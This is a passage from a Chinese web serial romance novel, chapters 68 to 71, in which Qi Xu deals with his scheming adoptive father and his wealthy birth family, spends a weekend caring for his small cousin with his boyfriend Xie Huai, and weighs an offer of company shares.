这种生活持续了足足四年时间,伤人就给钱,纠缠又给钱,沈家人给戚国辉的金额巨大。 只不过他们不知道的是这笔钱是由戚栩的卡里划过去。 最后戚国辉以涉嫌敲诈故意杀人被判刑,戚栩亲自送他进监狱。 这件事一出来沈家想压都压不住,被沈家在外宣传戚家养父子如此相亲相爱,到头来养子转手就把养父送进监狱。 22岁没权没势的戚栩懂得忍辱负重,不惜牺牲自己来达成目的。 这也是戚栩彻底和沈家撕破脸的开始。 戚栩毫无感情地说:“是啊,嫉妒,那又能如何。” 戚国辉看见戚栩上钩,兴奋起来眼神发光:“哈哈哈,我养大的果然像我,我那便宜儿子见不到只能找你,你也别把我想得这么坏,说到底你回沈家不也是为了钱,我也一样,我们两父子还不如敲比大的。” 戚栩嗤笑:“敲笔大的?我是沈家的亲生儿子,零花钱都能给我七位数,还有比这还大的?” 戚国辉听到七位数的时候不自觉咽下口水,他一辈子都没见过这么多钱,眼神更贪婪地看向戚栩:“就说你是小孩没见识,这么点就给你打发了,你知道沈氏值多少钱吗,我们一辈子都用不完的钱。” 沈氏? 戚国辉的胃口还挺大,还想要吃下整个沈氏。 戚栩问:“你有这么大能耐要整个沈氏?” 戚国辉说:“我当然没这么大的能力,但你有啊,沈氏以后不都是你的。” 戚栩杨眉:“那可不一定,我上头不还有个大哥。” 戚国辉压低声音,长着一嘴又黑又黄的牙:“如果他犯了错误,不得沈家信任,以后沈氏不都是你的么,好日子就在你手上,他们靠你撑起整个沈家就不用看他们脸色。” 戚栩若有所思没有说话,戚国辉知道他听进去了。 戚栩最后并没有接受戚国辉的提议:“滚吧,我是沈家的亲生儿子,难道我会听你的话对付他们?他们不是人,你更不是。” “行,要我滚可以,给钱。”戚国辉伸手就要钱,“我可以不要脸,你这个大学生应该要脸吧,” 戚栩没给他钱,不过倒是给了他一个好去处:“不如你去沈家闹吧,我想他们为了维护你的形象应该会给你一笔钱。” 戚栩走了后,戚国辉立马打了个电话。 “成了,我养了那小畜生那么多年,他撅起屁股拉屎还是拉尿什么德行我还不知道,他肯定会报复沈家。”戚国辉拿着个老人机眼珠子乱转,“电话里说不清楚,我们见个面,吃个详细说一下。” 对面不知道说了什么,戚国辉赔笑了几声,挂了电话后他往地上吐了一口痰,骂道:“一群小瘪三,还想白找老子干活,想得美,斗吧,越乱越好,我还能收点钱。” 戚栩从后巷出来的时候,一眼就看到停在路边的车。 戚栩想起手机上有定位器,是品酒会那晚戚栩随口说了句戚国辉可能会来找他,第二天谢淮就在他的手机上装了定位器。 并且戚栩还在谢淮面前保证不会单独去见戚国辉。 得了,人赃并获。 第一次他不遵守约定的后果是让谢淮搬过来和他一起住,那这次呢。 戚栩抬步上车,他扫了一眼早已降下的挡板,随即对上谢淮的眼神莫名地心虚。 “事发突然,没来得及和你说一声。”戚栩主动认错:“没动……动了一点手,看到那个人渣没忍住。” 谢淮听到动手两个字,扣着戚栩的下巴面无表情地一出一出检查他的脸上是否有受伤。 戚栩服从地仰着下巴任他检查,谢淮的手往下移握住了他的颈脖。 “你怎么这么不听话。”目光暗然,语气沉沉。 戚栩低头故意蹭了蹭他的手,笑道:“你不就是喜欢我不听话的样子,很想调教我吧。” 谢淮闭了闭眼睛,真想把人压在床上教育一顿。 再次睁开眼时,眼里的深沉淡了几分,可依旧看不清情绪,继续他的检查工作,脱下那件沾了灰尘的羽绒。 谢淮不太相信戚栩所说动了一点手,他知道戚国辉对戚栩来说是一个怎么样的存在,是一切罪恶的起始。 戚国辉罪该万死。 当谢淮想要握住戚栩的手挽衣袖时,被戚栩给躲开了。 “别,脏。”戚栩没让谢淮碰到他的手,因为他的手碰过戚国辉,“我的手脏。” 谢淮没给戚栩躲得太远,一手拽住了他的手腕,问:“你觉得脏?” 戚栩点头:“嗯。” 谢淮从车后排的储物空间拿出一盒酒精湿巾:“脏而已,你试试再躲我。” 强势的警告,戚栩没放在心上。 他看着谢淮抽出一张湿巾慢慢地擦拭,一根一根手指,关节,指缝,动作不算温柔,可手上却没有被擦拭的红痕,谢淮低眉的模样像是对待藏品一样。 在谢淮心中,戚栩的一根头发比他的表盘首饰间里任何一款价值不菲的饰品还要重要。 戚栩是无价的。 直到他擦拭完戚栩的两只手,挽起戚栩的衣袖,发现手串不见了。 戚栩顺势靠在了谢淮的肩上:“没丢,怕弄脏放进口袋里。” 谢淮找出手串重新给戚栩戴上,捧起他的手抵在了自己的嘴唇,无比认真地说:“不脏。” 嘴唇贴着戚栩手臂内侧的软肉,戚栩察觉到一丝痒意却没躲。 戚栩问:“要不要继续检查。” 话音刚落,一只手探进他的后背,贴着他皮肤的手温度高得离谱。 戚栩闭着眼睛任由谢淮掌控他,慢慢摩挲他身体的每一处。 谢淮在摸,他负责说:“戚国辉让我摆沈枫凯一道,用沈氏的继承权来诱惑我,你说他一个没文化的流氓怎么会想出这个办法,要是有这个头脑也不至于找了个有监控的地方和我谈判。” 戚国辉是没脑子的,小聪明更是算不上,只会吃喝嫖赌,真以为自己藏得天衣无缝,殊不知在开口的时候就暴露了。 其实戚栩还是不懂,这一世他已经有所退让,不再和沈泽予抢夺沈家的一切,为什么沈泽予还在紧逼他。 甚至不同于上世,发生这些事的时候沈泽予依然一副高高在上事不关己,全然不屑与他争夺什么。 如今事情好像发生了逆转,他不争了,轮到沈泽予去争夺,试图从他手里抢夺什么。 他说话的气息随着谢淮得寸进尺地抚摸越发不稳:“沈氏的价值有多少我并不关心,只是戚国辉这个人我一定不会放过他……” 谢淮的手来到戚栩的腰间,越来越重地揉捏,戚栩的一声闷哼,谢淮立即停下了手,检查出来受伤的地方。 戚栩倏然想起戚国辉在挣扎的时候给他一拳,厚重的羽绒服卸下一部分力气,不过还是被撞了。 戚栩不知道谢淮有没有认真听他说话,但看着他黑沉的脸色,应该是没有。 谢淮把戚栩抱到自己的腿上,让他侧坐着,拉起衣摆放到戚栩嘴边:“自己叼着。” 戚栩不爽地“啧”了一声,瞪着谢淮:“训谁呢。” 谢淮没在这个时候强迫他,不合适,也不方便,自己提着戚栩的衣摆低头检查他被撞的地方。 因为刚受的伤,现在还看不出什么异样,不过得回家喷药就是。 戚栩继续靠在谢淮的胸膛前取暖:“冷。” 谢淮放下他的衣摆却没把手从戚栩的身体里放下,赫然来到了胸前。 他平静地问:“你想怎么解决戚国辉。” 指腹擦过凸起的时候,戚栩脖子上泛起了潮红,身体忍不住颤栗,逐渐加重了呼吸。 他怒骂:“滚。” 谢淮却不以为然:“好,我会让他滚。” 第69章 第 69 章 回到家后, 戚栩换完衣服从卧室出来听到谢淮在客厅打电话。 “继续跟着,今晚应该会和他们见面,该怎么记录你们知道, 不要打草惊蛇。” 谢淮听到声响转头看着戚栩坐在沙发上才继续聊电话。 戚栩知道谢淮让人跟着戚国辉, 这种事谢淮总比他快一步。 好比那时送戚国辉进看守所,又好比提前将他在M城的相关报道隐藏,不让任何媒体骚扰他的私生活。 他拿出手机,发现方培宁给他发了好几条消息,回复说抱歉再给他点了一份外卖, 毕竟是他爽约在先。 谢淮拿着药箱过来,扫到他手机上外卖页面:“等会有人过来做饭。” 戚栩改为趴在沙发上,方便他操作:“给方培明点的外卖, 刚刚应该给他吓一跳了,我自己也爽约了,请他吃饭。” 谢淮拿出喷雾, 拉起他的衣摆:“我也被吓了一跳,我的补偿呢。” 戚栩被腰上的冰冷触感吓了一个激灵, 整个腰腹紧绷,反应有点大,在沙发上缩了一下, 他猛地扭头:“靠,吓我一跳, 我的补偿呢。” 学着别人说话还挺理直气壮, 吃不了一点亏。 谢淮把喷雾放回药箱, 打算去洗个手刚转身被戚栩扯住手臂:“真生气了?” 谢淮凝视他, 反问:“我生什么气?” 戚栩从沙发上起身,跪在垫子上, 玩笑道:“没给你补偿?要不也给你点个外卖吧。” 话音刚落,谢淮扣住戚栩的后颈欺身吻了过来。 戚栩不受力往后仰了仰,从跪姿变成坐姿,最后变成靠在沙发上。 同时谢淮成了跪在沙发上的那个人,他半跪在戚栩的腿间,撬开唇舌,不紧不慢地领取他的补偿。 轻柔的,耐心的,像是在品尝一块甜品。 戚栩受不了舌尖逐渐发麻的感觉,推了推谢淮,然后被对手拽住了手顺势被按在了沙发上。 谢淮护着他的腰,戚栩得了片刻喘息时刻,脑袋也不知道什么时候被塞了个枕头垫着,他皱了皱眉:“一股药味。” 谢淮失笑:“我都没嫌弃,你嫌弃上自己了。” 戚栩抬脚踹他:“你敢嫌弃!” 谢淮一手抓着他的脚踝往下压,戚栩察觉这个姿势有多么的危险,眉头跳了跳。 幸好谢淮也只是抓了一下,但手掌顺着夸大的裤脚探了进去,紧贴着他的小腿。 戚栩再次心虚地缩脚,被谢淮擒住。 “今天没穿秋裤。”谢淮的手逐渐往里探,包住了他的膝盖。 戚栩偏头:“你都不穿为什么让我穿,你管我。” 戚栩一辈子就没穿过秋裤,虽怕冷,但有一身正气,秉行着酷boy从来不穿秋裤这一原则。 不过这辈子酷boy栽在了谢淮手里,谢淮知道他怕冷,但又不想每天裹成一只粽子似的,每天监督他穿秋裤,至于怎么监督,不辞辛苦地亲自上手检查。 谢淮撩起戚栩的头发,眼里冒着火:“老了以后变成老寒腿看谁管你。” 戚栩双手套在了谢淮的脖子上,仰着颈脖蹭着他的嘴角,缠绵又磨人:“你管我。” 年轻的身体总是经不起撩拨,谢淮把不重要的秋裤抛之脑后,专心地去吻戚栩。 谢淮在戚栩面前从来都没有掩饰过占有欲,可这次不知是不是因为戚栩的主动,显然有点控制不住了。 最后沙发上吻得难舍难分的两人被上门做饭的厨师打断了。 戚栩胆子大得很,眼神看向谢淮的下半身,还在笑:“看来需要去解决一下,刻不容缓。” 谢淮在他颈边一下下地亲啄,声音低沉沙哑:“可以一起解决。” 门铃还在继续响,谢淮丝毫不管不顾,全部注意只有面前的人。 戚栩率先示弱:“我饿了。” 结果,谢淮一个人进了房间,戚栩去开门,看到今晚的食材又开心了。 戚国辉一直被谢淮的人盯着,这几日戚栩被告知这人真找上沈家人,没有找到沈氏,而是装扮成清洁团队直接闯入沈家。 这件事谢淮第一个知道,并没有阻止戚国辉的行动,也没有第一时间告诉戚栩,而是等到事发之后。 当时沈家只有曾云和沈泽予,戚国辉的出现可谓是惊心动魄,把曾云吓进了医院,戚国辉和沈泽予大打出手,沈家上下鸡飞狗跳。 最后戚国辉没被送进警局,甚至还被沈家人以这些年来帮忙照顾戚栩的名义给了一笔钱。 戚栩并不意外,这是沈家一贯的做法,钱可以解决一切,只不过动手的人变成了沈泽予。 戚栩不好奇两人动手的原因,还是在曾云面前演戏。 谢淮告诉他之前和戚国辉见面的人并不是沈泽予,而是一位外国人,这个人是宋家派给出国读书宋若明的心腹。 曾云入院之后沈枫凯派人来提过一嘴,没有像上次一样架着他非要去一趟,戚栩并没有亲自去看望,叫人送了点补品过去。 沈家于他而言已经没有回去的必要,沈卓海和曾云也只是他名义上的亲生父母。 戚栩还是那句话,他对村里的大黄狗的感情比他们还要重。 戚栩一直都没有露脸,一直在学校承受公共课小组作业的摧残,这次他和谢淮分开了,和隔壁宿舍两位男生和隔壁班三位男生一组。 在第二次约不齐人的情况下,隔壁两人在314吐槽,戚栩直接小组群里发信息。 混吃等死:【下次再不出现直接除名,我们没有理由让你们搭便车拿高分。】 隔壁班的几位男生仗着小组不够人会减分畅言,尽情说着这一次的缺席的原因。 混吃等死:【人不齐扣分就扣分,我能在其他地方拿回来,至于你们能不能及格就不一定。】 关于戚栩的期中成绩在金融系传了个遍,还有之前那逆天的小组作业分数,是名副其实的学神,脸上就写着有拿第一的本事。 有人预测这个学期的期末考试绩点第一应该是戚栩,不过按照院里的公示出来的综合成绩,第一应该是谢淮。 谢淮有学生会和社团的活动分数,戚栩一个校内活动都没有。 就是这样本想混到毕业的戚栩被谢淮硬是报名了几个活动,本身就烦躁,加上小组作业那几个人不按规定时间出现,戚栩就此爆发。 隔壁班那几个人重视起戚栩的警告,连忙保证下次一定如约出现讨论会。 商讨会往后推,戚栩又要去参加有的没的活动。 前世他没人管着,每年绩点第一,综合成绩却是勉强进了前十,活动一个不参加,靠着竞赛得过且过就这么过完大学四年。 这一世被谢淮管着,像个望子成龙的家长,非要给他报名兴趣班。 好在谢淮给他报名都是些好混的,比如讲座,志愿者,安全知识竞赛等等。 第二学期戚栩可以发表sci和参加竞赛就不用担心活动分数。 周五傍晚,戚栩刚结束志愿者的活动,盖章签字后,接到沈卓宏的电话。 “小栩啊,不好意思这个点给你打电话,打扰你学习了,我今晚带着梓炀出席沈氏的宴会,期间他见到枫凯,他一听到哥哥这个词就吵着要见你,现在闹得不行,你可以和他通个电话吗?” 戚栩能在手机里听到沈梓炀的哭闹,他见识过这小孩哭声的穿透力。 “不麻烦,我和他说会儿话吧。” 电话一给到沈梓炀,戚栩就听到抽泣声:“哥哥?” 戚栩应了一声,开始哄小孩:“怎么哭了?” 沈梓炀忽然想起前几天答应戚栩男子汉big husband,虽然不知道什么意思,但应该让他少哭。 他憋着哭,小声诉说着想念:“哥哥,我想你了。” 他们已经一个星期没见了,不过期间一直有视频通话。 小孩说的话让戚栩心软软。 他看了眼时间:“等会我接你回家,周末在我们家住两天。” 沈梓炀忍不住欢呼,一旁的沈卓宏看到自家儿子兴奋的情绪不禁感叹还是戚栩有办法能治这个小魔王。 沈梓炀把电话还给爸爸,沈卓宏接过电话听到戚栩问他地址,询问之后得知他周末把小魔王接回去。 “会不会太麻烦你。” 戚栩说:“不麻烦,两天而已。” 沈卓海和戚栩说了地址,是一个专门举办宴会的酒店。 戚栩达到酒店门口已经是半个小时之后,他给沈卓宏发了条信息,对方回复小少爷在休息吃晚饭,可以的话一起进来用餐。 戚栩这会儿想到沈卓宏所说沈氏宴会,那应该就是沈卓宏初次现身沈氏的晚宴,以及正式宣布接替沈卓海的职位。 沈卓宏忙着应酬应该无暇顾及,看回复的内容也应该是助理帮着回复。 戚栩走进酒店进休息室接人,沈梓炀在保姆的照看下乖巧地享用晚餐,等待哥哥来接他。 戚栩一出现,沈梓炀立即扔下手里的叉子,小短腿迫不及待跑到他的面前:“哥哥,我们走吧。” 小孩的脸上还能看得出来之前大哭了一场,戚栩扫了一眼桌上没吃完的晚餐,牵着他的手回到沙发。 “不着急,吃完晚餐再走。” 沈梓炀乖乖听话继续吃晚饭,期间还有服务员进来上了新的菜品,这个架势好像让他在这吃完晚饭再走。 不吃白不吃,戚栩吃了个三分饱见沈梓炀还在吃蛋糕便出门上洗手间。 他遗落下来的手机响起,保姆没来得及阻止,沈梓炀人小鬼大地拿起手机点了接听。 “给你买了草莓蛋糕,什么时候回来。” 沈梓炀说:“哥哥已经吃了我的芒果蛋糕,饱了。” 谢淮看了眼手机联系人,听出了沈梓炀的声音,扬眉:“你哥哥呢。” 中文不好的沈梓炀说:“哥哥去洗澡了,你是谁?” 谢淮点开了定位器软件,确定了戚栩的位置再回答沈梓炀的话:“我是你哥哥的男朋友。” 沈卓宏带着沈枫凯一同进来,保姆正着急和他说小少爷接听了栩少爷的电话。 沈卓宏皱眉:“炀炀,怎么乱接听哥哥的电话。” 沈梓炀说:“爸爸别吵,我在和哥哥的男朋友说话呢。” 第70章 第 70 章 沈枫凯闻言表现出极为淡定, 只不过眼神一直望向沈梓炀小手上手机,试图去看屏幕上的联系人是谁。 他作为戚栩的大哥都不知道他的男朋友,这个小鬼倒是和他弟弟的男朋友聊起来。 沈枫凯知道戚栩虽然还没有正式搬出宿舍, 但周末已经在校外住, 如果他没猜错的话应该是和他的男朋友。 他自认为不是迂腐的人,不过戚栩年龄还小,见过多少人,很容易被人迷惑,他作为大哥理应有责任帮他筛选。 这样想着, 他偷看的心思也变得光明正大。 沈卓宏在外这么多年,国外开放,见过他朋友的儿子带着男朋友一同参加聚会, 当场热吻,捂住了怀里小孩的眼睛接受良好。 “那也不能随便碰哥哥的电话。”沈卓宏立即教育自家孩子,“要是有什么急事不能及时告诉哥哥怎么办。” 沈梓炀耷拉了个小脸, 似乎意识到自己的错误:“sorry,爸爸, 以后再也不会了。” 这个时候戚栩从洗手间回到休息室,见到沈卓宏真一脸严肃地模样。 下一秒小家伙拿着他的手机过来:“对不起哥哥,我接了你的电话。” 戚栩接过手机, 是谢淮打来的电话,先是安慰了沈梓炀说没关系, 然后再对谢淮说:“我等会就回家。” 最后挂了电话沈枫凯都不知道戚栩的男朋友是谁。 沈卓宏让保姆带沈梓炀去擦脸换件衣服, 吃个番茄意面吃成案发现场。 而他亲自和戚栩说了几句话, 麻烦他照顾沈梓炀两日。 助理敲门进来通告了一声沈卓宏又出来应酬了。 休息室只剩下沈枫凯和戚栩, 而戚栩没什么话要和他说的。 沈枫凯没让戚栩这么顺利地离开:“戚国辉找过你为什么不和我们说。” 戚栩看了他一眼:“还有其他事吗?” 沈枫凯心情复杂,戚栩对待他的态度越发冷淡, 还没有沈卓宏这个没见过几次的大伯熟络。 “钱是父亲给的,我劝过他不要再放任戚国辉,这将是一个祸害,但他依旧认为保住沈家的名声他才能东山再起。” 沈卓海被革职,想要重回那个位置更要保住沈家的名誉,一旦18年前调换的真相爆出,他先前所做的将会功亏一篑。 所以他得稳住戚国辉,将这件事烂在肚子里,不管抱错还是调换,现在不是把人找回来了么。 戚栩对此心如止水,于沈卓海而言,家族名声和利益比沈家任何人都更为重要,为了这些东西他可以牺牲任何人。 不过前世他牺牲的只有戚栩一个人,戚栩保住了他们沈家的名誉。 “不管是你给还是他给,都是你们的事。”戚栩并不关心,“戚国辉是找过我,但又怎么样,我不会给他钱,但会要他命。” 沈枫凯连忙说:“我知道戚国辉对你而言是不算一个合格的养父,但没必要为了他毁了自己,等父亲的情绪稳定下来,我会再劝他的。” 他顿了下,难得见到一丝犹豫:“父亲被革职,我被升为副总裁,你难道真的不想进沈氏吗,我可以给你安排总经理的位置。” 如果戚栩没有听错的话,沈枫凯主动为他安排高层的位置,真是让人不可置信。 前世他在底层干了几年,恰好遇到沈家堂叔他们大闹董事会,沈卓海把他升为执行总经理,沈枫凯一力反对,说他手上没有实绩,难以服众。 从此他走上了和沈枫凯争权之路。 “你吃错药了吧,我为什么要进入沈氏当个总经理。”戚栩手上有老爷子的人,沈枫凯应该知道这点,顺着查很容易知道云瑞。 “我在外面当总裁,稀罕你给的总经理职位。” 沈枫凯当然知道云瑞,但他始终认为这只是小打小闹,一家小公司而已,哪能和沈氏这么大的老牌企业相比。 “你的总裁年薪多少,沈氏的总经理年薪多少,沈氏能带给你多少人脉,在履历上加上沈氏两个字你知道是什么含金量吗?” 戚栩嗤笑:“那只是你以为的的含金量,我会创造属于我自己的履历,并不需要你对我指手画脚。” 沈枫凯忽然霸道起来:“你是沈家的孩子,别人有的,你也一定会有,沈氏注定会有你一份。” 戚栩:“……” 现在他确定沈枫凯真的吃错药了,神经病吧。 “行啊,让我到沈氏可以,你立刻辞去副总裁的位置给我当,我会考虑。” 沈枫凯知道戚栩在耍小脾气,宽容地说:“副总裁的位置得过几年才能让给你,你应付不了董事会那些老狐狸。” 听得戚栩冷不丁地打了个冷颤,这人被外星人入侵了吧。 沈枫凯有意缓解和戚栩之间的关系,换了个话题继续说:“你现在的男朋友还是之前的那个,没换?” 戚栩翻了个白眼:“关你屁事。” 沈枫凯说:“明天我有空,带我去见见他,别被人骗了。” 戚栩懒得和他继续纠缠,怕弄得自己都不正常:“我靠他养着,只有我骗他的份。” 刚好,保姆带着沈梓炀进来,戚栩扫了一眼沈枫凯吃惊的表情没管,牵着小孩的手离开。 等到戚栩上车后,收到沈枫凯的转账信息。 戚栩收下了,但没有回复他的信息。 沈枫凯:【缺钱可以和我说,他到底是个外人,靠不住。】 戚栩扔下手机陪沈梓炀说一会儿话,然后不到半小时的路程,他有点后悔把小孩带回家了。 这个年纪的小孩堪称十万个为什么,现在戚栩脑子全都是why。 到家楼下,保姆和陈威一起把沈梓炀的行李搬上楼,一个小的行李箱加上两个大袋子,里面装着小孩的玩具和日用品。 住两天像搬家似的。 谢淮在沙发上处理文件,听到声响闻言起身到玄关,不见戚栩只见陈威提着个小行李箱和带着个人回来。 几秒后,他才看见戚栩抱着个小卷毛从后面走来。 保姆把行李送进戚栩的家里后,和戚栩说着沈梓炀的过敏食物。 “戚栩少爷,如果没别的事我先走了,有任何问题可以随时叫我过来。” 戚栩点了点头,下一秒,保姆头也不回地走了,回去的背影一身轻松。 戚栩:“……” 跑得是不是有点快。 沈梓炀从戚栩的怀里下来,自己蹲下来换鞋子,颇有点小大人的意思。 只是见到谢淮的时候一脸疑惑:“哥哥的哥哥怎么在这里?” 他的记忆力很好,区区一个哥哥而已,况且这个哥哥和他玩过捉迷藏。 “我们住在一起。”谢淮说。 忽然沈梓炀睁大眼睛,这位哥哥的面容他记得,但声音不记得,现在说了一句话,他成功地将刚刚那通电话的声音匹对上。 “你不是哥哥的男朋友吗?” 戚栩换完鞋刚起身听到小孩语出惊人,被脚下自己的鞋子绊了一下,谢淮伸手扶住了他。 戚栩问:“你刚在电话里说了什么?” 谢淮回答戚栩的问题:“实话实说。” 继而才对沈梓炀说:“我是哥哥的哥哥,也是哥哥的男朋友。” 结果得到小孩惊讶地一声“哇”,那双蓝色的眼睛羡慕地看着他:“那你是会分身术吗?能不能教教我。” 谢淮见戚栩瞪着他,低声在他的他耳侧轻语:“白天是哥哥的哥哥,晚上是哥哥的男朋友,有问题吗?” 戚栩给了他一拐:“滚你的吧,能不能不要教坏我。” 谢淮毫无认错的认真:“我的问题,下次不教了,纯洁的栩哥。” 然后又遭受了栩哥一个捶打。 沈梓炀得知谢淮有分身术之后一直缠着他,戚栩在酒店吃了三分饱,留着肚子在家陪谢淮吃晚饭。 沈梓炀也上了餐桌,面前放着热可可,成功加入到这顿晚饭里。 “哥哥的男朋友,我用变形金刚和你交换分身术的咒语可以吗?” 戚栩每次听到这个称呼都有种自己正在被洗脑的感觉,试图篡改他脑袋里的记忆,促成一场入室抢劫的恋爱。 谢淮一本正经地说:“小孩学不了分身术,等成年了再教你。” 沈梓炀说:“我今年5岁,不小了。” 谢淮给戚栩夹了一块龙虾肉:“18岁时成年,你算算还有多少年。” 谢淮教孩子有一套,沈梓炀正在掰手指计算中,10以内的加减法,够一个五岁小孩算一晚上。 不过没算一会儿,到了沈梓炀看动画片的时间,戚栩给他转好台回到餐桌上。 戚栩叹了一口气:“带小孩太累了。” 谢淮说:“不是你亲自把人带回家?” “他哭着和我说想我,谁不心软。”戚栩没想到自己的一时心软体验了一把狗都嫌小孩的折腾。 谢淮知道戚栩的内心远没有表面的冷漠,心里有自己的一套活法,外人不理解,但他并不在意别人的眼光,精神世界极为强大。 他见戚栩烦躁的模样说道:“以后我们不会有孩子,也不会为此烦躁。” 戚栩倏然抬头望着他,后者问:“怎么,你可以生?” 戚栩冷笑了一声:“呵。” 两大人一小孩共处一室注定不太和谐。 戚栩帮沈梓炀洗澡,刚进浴室没几分钟,摇身一变落汤鸡。 沈梓炀还在浴缸里欢乐地唱着baby shark,浴室半空飘起了泡泡。 谢淮拿了条毛巾盖住戚栩湿哒哒的头发,帮他擦着:“去洗澡,别着凉了。” 戚栩咬了咬牙:“我被他单纯的外表所蒙骗了,这简直就是个小恶魔。” 谢淮笑了起来:“还有你治不了的人?” 戚栩用毛巾抹了一把脸:“你以为我是医生,什么人都治,治你一个就够了。” 戚栩这个人就是这样,对于不喜欢的人永远都不会给对方希望,一旦喜欢上一个人,毫不吝啬地表达自己的爱意。 如果说谢淮的爱是热烈的,戚栩的爱也不甘示弱。 谢淮朝戚栩走近了一步,将人抵在浴室的门上,心脏没出息地因为这句话怦然心动:“那我这辈子就交给你了,戚医生。” 四目相对的间隙,他们的心里不约而同都想吻对方。 戚栩的双手直接搭在了谢淮的肩膀,谢淮掐着他的腰揽入怀中,扔下他头上的毛巾像是脱掉他的衣服一般。 呼吸交缠之际,浴室里传来小卷毛的喊叫:“哥哥,我要冲水了。” 暧昧的气氛瞬间被打破,轮到谢淮的脸上出现不爽的情绪,肉眼可见的黑脸。 戚栩没忍住大笑了出来,把浴室的小孩交给谢淮,自己则去洗澡:“交给你了。” 洗澡之后又出现一个新问题,大平层四室一厅,两个卧室,一个书房,一个放着谢淮和戚栩的兴趣爱好,机器人和保险柜。 沈梓炀要和谁一起睡。 不出所料,沈梓炀选择了戚栩,毕竟他和哥哥的男朋友没有熟可以一起睡觉。 某人又不爽了,抱胸倚在门框上,看着戚栩从行李箱里拿出一个个玩偶,还有那个不知名的阿贝贝。 沈梓炀热情地邀请谢淮一起睡觉,拍了拍隔空的空位置:“哥哥,你也进来一起睡觉吧。” 戚栩:“……” 然后某个人还真不客气地进来了,一身黑色睡衣坐在了床边。 戚栩好声没好气地说:“我怎么不知道你也怕黑?” 谢淮说:“我今晚怕黑。” 谢淮不是没提议过让沈梓炀自己睡一个房间,他们睡一个房间。 得到戚栩一声嘲讽:“你的算盘都打在我这里来了。” 谢淮有些嫌弃地看着那条阿贝贝,戚栩对上他的眼神哭笑不得:“又不是让你睡,你小时候没有阿贝贝?” 谢淮说:“没有,我小时候不需要安抚物。” “那你挺成熟的。”戚栩整理好小卷毛的被子。 谢淮应下:“我一直都很成熟,我比你的大一个月。” 戚栩脱口而出:“也不知道是谁小时候想养一只铁皮人当宠物,这叫成熟?” 谢淮一直有件事很好奇,戚栩究竟是怎么知道他喜欢人工智能,为什么会知道他喜欢机器人。 这些事除了他身边亲近的人,外人是无法得知。 谢淮没有问出口,很显然戚栩也不觉得自己说漏了什么。 谢淮说:“不养它了,养你。” 戚栩毫不客气地把人赶出房间:“谢谢啊,直接转钱就行。” 谢淮连个晚安吻都没讨到,被戚栩临时打入冷宫,房间里传来欢声笑语,还有戚栩温柔讲睡前小故事的声音。【魔蝎小说 mo xie xs .c om】 70-80 第71章 第 71 章 戚栩本想把沈梓炀哄睡之后再出去, 结果也把自己给哄睡,甚至比小孩还要早闭上眼睛。 谢淮在客厅大概等了半个小时,房间的故事声已经停下, 他推开房门, 床上的一大一小状态反转。 沈梓炀眨着那双蓝色大眼睛,躺在床上自娱自乐玩着公仔不亦乐乎。 戚栩躺在床上手里还拿故事书,被子搭在腹部,人已经睡着了。 沈梓炀注意带谢淮,以为他进来睡觉, 贴心让开了点位置。 然而谢淮却没有去看小孩,而是弯腰把戚栩腰腹的被子拉上去,又碰了碰他的脸才去走到床的另一边。 “能睡着吗?” 已经到了沈梓炀的睡觉时间点, 他打了个哈欠,用手蹭了蹭阿贝贝点头。 关了灯后,只留下床头一盏小灯, 沈梓炀在闭上眼睛之际看到大哥哥走到哥哥的床边弯腰,但之后的事他就看不到, 房间黑了。 戚栩醒来的时候已经第二天中午,床另一边的小孩已经不见了。 洗漱完从房间里出来戚栩看到沈梓炀和谢淮在客厅,两人相处还挺和谐…… 戚栩看到沈梓炀手上的点读本, 哦,在学中文。 挺好, 学中文要从娃娃抓起。 谢淮戴着耳机在开视频会议, 戚栩没有打扰他, 自个到厨房觅食。 周末有家政阿姨上门, 这会儿在厨房里洗碗,看到戚栩起床了, 把午餐给他准备好。 戚栩边吃午饭边处理信息,其中最多的是工作群的消息。 云瑞在铧信的推进会和一家上市公司达成了合作,合约是苏珂浩和钟艾明去签的,结果那天晚上被灌了个半醉,好在是把合同签下了。 这会儿群里正在说着这件事,戚栩在群里说了一声辛苦了,请大家吃饭。 以李恺兴为头,列举人均四位数的餐厅,势必要宰戚栩一顿。 要宰老板的迹象初见始端,李恺兴两世都没有变过。 群里讨论激烈,钟艾明在私下找上了他,并给他发了一份文件。 戚栩打开看了一眼,是一份股份转让权的协议书,下方是沈卓海的签名。 结合昨天沈枫凯对他说的话一切都得到解释,这不是沈家人正是所想的吗。 前世沈卓海一直都想沈泽予毕业后进入沈氏,然而沈泽予跟着谢淮出国深造,为了应付戚栩才把他安排在底层,紧接着又迫于董事会压力,把戚栩提上来。 这一世如沈卓海的愿,沈泽予提前进入沈氏。 至于沈枫凯对他说的话,他是一句都不放在心上,这一次他更不会去碰沈氏一毫。 戚栩正在想事,手上的筷子已经好久没有夹起饭菜,谢淮用英文说了句稍等片刻,起身走向餐桌,不出意外看到了戚栩手里文件。 两天前他的人也将这件事报上来,他没有告诉戚栩只因戚栩不一定想知道,但现在很明显有人想让他知道。 戚栩余光看到旁边的人影,叹了口气:“老爷子让人给我发的,我之前明确和沈枫凯说过我不会进沈氏,之后他有意无意地说过沈氏股份的事,应该是想转让给我,但我每一次都错开话题。” 这一次老爷子让钟艾明给他发这份文件,应该是想作为转股份的铺垫。 话音刚落,一份新的股份转让书发了过来,是老爷子手上全部的股份。 沈家每个人成年后手上都有沈氏的股份,但占比不大,是作为分红所用,也并没有实权。 如今沈泽予手上有沈卓海三分一的股份,占比律也不高,沈卓海是想让沈泽予名正言顺的进入沈氏。 戚栩不关心沈泽予,沈卓海把全部身家都给了他,戚栩也不不会看一眼,只是现在关乎老爷子。 老爷子是想让他接手沈氏,跳过沈枫凯把全部股份转给他。 谢淮把戚栩的手机抽出来反扣在桌面,一手撑在了他的椅背:“吃饭的时候认真吃饭。” 戚栩碗里的饭没动几口,他仰头去看谢淮,这时候也就这人会关心他吃饭的问题。 “那可是价值半个沈氏的股份,你不给我提点意见吗?” 在谢淮眼里,不管多少钱,也没有戚栩的午饭重要,如果不是他早上起不来吃早餐,他也会照顾好他的早餐。 当然,他也尝试过叫戚栩起床吃早餐,无一例外都被拉着一起睡。 谢淮被拉着睡回笼觉,从此君王不早朝, “如果你需要我提意见的话,我只能说一句,我的身价比这还多。” 戚栩:“……” “什么意思,炫富?” 谢淮把筷子塞进他的手里:“养我比养整个沈家未来得到的回报更有价值,更不可估量。” 戚栩叉起了个草莓放在谢淮嘴里,后者面不改色将酸甜的草莓咬进嘴里,已经锻炼出吃酸的能力。 “谢总,不是说正在创业连房子都没钱买吗?你能有什么价值。” 